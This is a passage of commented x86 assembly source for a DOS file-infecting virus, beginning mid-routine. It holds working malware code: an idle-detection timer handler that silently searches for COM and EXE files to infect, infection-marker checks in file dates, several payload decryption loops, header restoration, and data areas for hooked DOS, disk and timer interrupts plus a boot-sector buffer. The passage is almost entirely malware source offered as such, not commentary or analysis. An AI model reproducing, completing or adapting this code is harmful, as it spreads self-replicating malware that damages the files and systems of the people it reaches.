call mark_activity
jmp check_game
next_port:
inc bp
loop check_com ; Check next COM
check_game:
mov dx,201h
in al,dx ; Game I/O port
call waste_time
cmp al,data_game ; Actual byte=Previous byte?
je check_keys ; Yes? then jmp
call mark_activity
check_keys:
mov data_game,al ; Store actual byte
in al,60h ; AT Keyboard controller 8042.
call waste_time
test al,80h ; Key pressed?
call pop_registers2
jnz inc_tick_counter ; Yes? then jmp
call mark_activity
inc_tick_counter:
push ds
push es
push bx
push cs
pop ds
inc tick_counter
cmp tick_counter,8*18 ; < tick_value secs inactive?
tick_value equ word ptr $-2
jb exit_i8 ; Yes? then jmp
cmp into_i21,0 ; int 21h active?
jnz exit_i8 ; Yes? then jmp
cmp inout_flag,0 ; Input/output activity?
jnz exit_i8 ; Yes? then jmp
les bx,dword ptr ofs_flagdos
cmp byte ptr es:[bx],0 ; DOS inactive?
jnz exit_i8 ; Yes? then jmp
les bx,dword ptr ofs_swpdos
cmp byte ptr es:[bx],0 ; DOS swapping?
jnz exit_i8 ; Yes? then jmp
mov tick_counter,0 ; Reset counter
call search_files
or tick_value,0 ; Tick value=0?
jz exit_i8 ; Yes? then jmp
cmp word ptr no_mouse,1 ; Mouse present but not checked?
jz exit_i8 ; No? then jmp
sub tick_value,1*18 ; 1 second
exit_i8:
pop bx
pop es
pop ds
iret
search_files:
call push_registers2
mov ah,2Fh
call int21h ; Get DTA address in ES:BX
mov ax,cs
mov dx,es
cmp ax,dx ; Virus already using DTA?
jne change_dta ; No? then jmp
jmp exit_sf
change_dta:
mov ds:ofs_dta,bx
mov ds:seg_dta,es
mov ah,1Ah
mov dx,offset(dta)
call int21h ; Set DTA
cmp fname_waiting,1 ; Has a file waiting to be infected?
je infect_via_i8 ; Yes? then jmp
cmp searching,1 ; Search in progress?
je find_next ; Yes? then jmp
mov ah,4Eh
mov cx,3Fh
test search_execom,1 ; Searching for COM?
jnz search_exe ; Yes? then jmp
mov dx,offset(m_com)
jmp find_first
search_exe:
mov dx,offset(m_exe)
find_first:
call int21h ; Find first file
jc change_ftype
mov searching,1 ; Mark searching files
mov dx,dta_date ; Get file date
rcr dh,1
cmp dh,100 ; Infected?
jb convert_relative ; No? then jmp
find_next:
mov ah,4Fh
call int21h ; Find next
jc change_ftype
mov dx,dta_date
rcr dh,1
cmp dh,100 ; Infected?
jnb find_next ; Yes? then jmp
jmp convert_relative
change_ftype:
dec search_execom ; Next type
mov searching,0 ; Next time do a find-first
jmp restore_dta
infect_via_i8:
mov dx,offset(file_name)
call try_to_infect_file
mov fname_waiting,0 ; Next time do a search
jmp restore_dta
convert_relative:
mov si,offset(dta_fname)
mov di,offset(file_name)
push cs
pop es
mov ah,60h
call int21h ; Convert relative path to full path
mov fname_waiting,1 ; Next time do an infection
jmp restore_dta ; Very stupid jmp!!!!
restore_dta:
mov ah,1Ah
mov ds,cs:seg_dta
mov dx,cs:ofs_dta
call int21h ; Restore DTA
exit_sf:
call pop_registers2
ret
decrypt_bytes:
mov al,code_mask
cmp crypt_method,0 ; XOR encryption?
je dec_xor ; Yes? then jmp
cmp crypt_method,1 ; NOT encryption?
je dec_not ; Yes? then jmp
cmp crypt_method,2 ; ROR encryption
je dec_rol ; Yes? then jmp
cmp crypt_method,3 ; DEC encryption?
je dec_inc ; Yes? then jmp
dec_xor:
xor [si],al
inc si
loop dec_xor
ret
dec_not:
not byte ptr [si]
inc si
loop dec_not
ret
dec_rol:
rol byte ptr [si],1
inc si
loop dec_rol
ret
dec_inc:
inc byte ptr [si]
inc si
loop dec_inc
ret
disinfect_exe:
push cs
pop ds
call read_header
mov ofs_virus,length_virus-offset(header)
call lseek ; Lseek to length(file)-1Ch
mov ah,3Fh
mov cx,1Ch
mov dx,offset(header)
call int21h ; Read stored header (encrypted)
mov si,dx
push si
call decrypt_bytes ; Decrypt header
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
pop dx
mov ah,40h
mov cx,1Ch
call int21h ; Write original header
call truncate_file ; and truncate file to original length
ret
get_int_vector: ; Input: al:=int.number
push ds
push si
xor ah,ah
mov si,4
mul si
mov si,ax
xor ax,ax
mov ds,ax ; ds:=0
les bx,[si] ; get int vector in es:bx
pop si
pop ds
ret
m_com db '*.COM',0
m_exe db '*.EXE',0
header:
signature dw 20CDh
partpag dw 0
pagecnt dw 0
relocnt dw 0
hdrsize dw 0
minmem dw 0
maxmem dw 0
reloss dw 0
relosp dw 0
chksum dw 0
exeip dw 0
relocs dw 0
tabloff dw 0
ovr dw 0
length_virus:
buffer:
ofs_1c dw ?
seg_1c dw ?
_header:
_signature dw ?
_partpag dw ?
_pagecnt dw ?
_relocnt dw ?
_hdrsize dw ?
_minmem dw ?
_maxmem dw ?
_reloss dw ?
_relosp dw ?
_chksum dw ?
_exeip dw ?
_relocs dw ?
_tabloff dw ?
_ovr dw ?
stored_psp dw ?
clusters_avail dw ?
stored_drive db ?
loading_dos db ?
xchg1 equ byte ptr $
tunnel_ok equ byte ptr $
seg_fname dw ?
xchg2 equ byte ptr $+1
ofs_fname dw ?
db ?,?
_3bytes db ?,?,?
db ?
seg_psp dw ?
ofs_i21 dw ?
seg_i21 dw ?
ofs_i13 dw ?
seg_i13 dw ?
flags db ?
ticks_disableFD dw ?
ofs_i13_2 dw ?
seg_i13_2 dw ?
ofs_i24 dw ?
seg_i24 dw ?
ofs_i1b dw ?
seg_i1b dw ?
ofs_i23 dw ?
seg_i23 dw ?
ofs_i8 dw ?
seg_i8 dw ?
ofs_i25 dw ?
seg_i25 dw ?
ofs_i26 dw ?
seg_i26 dw ?
ofs_i17 dw ?
seg_i17 dw ?
length_lo dw ?
length_hi dw ?
f_date dw ?
emul_pushf equ word ptr $
f_time dw ?
attribs dw ?
boot_i21 dw ?
filename equ word ptr $
ep_ip dw ? ; Also filename
ep_cs dw ? ; 8bytes+'.'+3bytes+0
db ?
db ?
db ?
db ?
point db ? ; '.'
filename_ext equ word ptr $ ; 3bytes
seg_stop dw ?
db ?
db ?
code_mask db ?
ofs_dta dw ?
seg_dta dw ?
dta:
db 15h dup(?)
dta_attr db ?
dta_time dw ?
dta_date dw ?
dta_sizel dw ?
dta_sizeh dw ?
dta_fname db 0dh dup(?)
inout_flag db ?
tick_counter dw ?
into_i21 db ?
fname_waiting db ?
search_execom db ?
searching db ?
no_mouse db ?
mouse_checked db ?
drive equ byte ptr $
use_ports db ?
bit_drive db ?
data_com: db ? ; COM1
db ? ; COM2
db ? ; COM3
db ? ; COM4
com_ports: dw ? ; Address of COM1
dw ? ; COM2
dw ? ; COM3
dw ? ; COM4
data_game db ?
file_name db 67 dup(?)
return_dir dw ?
return_dir2 dw ?
activity_checks db ?
ofs_sft dw ?
ofs_flagdos dw ?
seg_flagdos dw ?
ofs_swpdos dw ?
seg_swpdos dw ?
crypt_method db ?
jmp_virus db ?
ofs_virus dw ?
i13_5bytes db 5 dup(?)
end_virdata equ word ptr $
sector:
jmp_bootcode db 3 dup(?)
db 8 dup(?)
sectsize dw ?
clustsize db ?
ressecs dw ?
fatcnt db ?
rootsize dw ?
totsecs dw ?
media db ?
fatsize dw ?
trksecs dw ?
headcnt dw ?
hidnsec dw ?
db (512-($-offset(sector))) dup(?)
format_table equ $
vstack equ $-70h
s_mbr equ $-70h+1
buffer_enc equ $+34h
org $+34h
db 512 dup(?)
vir_end equ $
v6000 ends
end start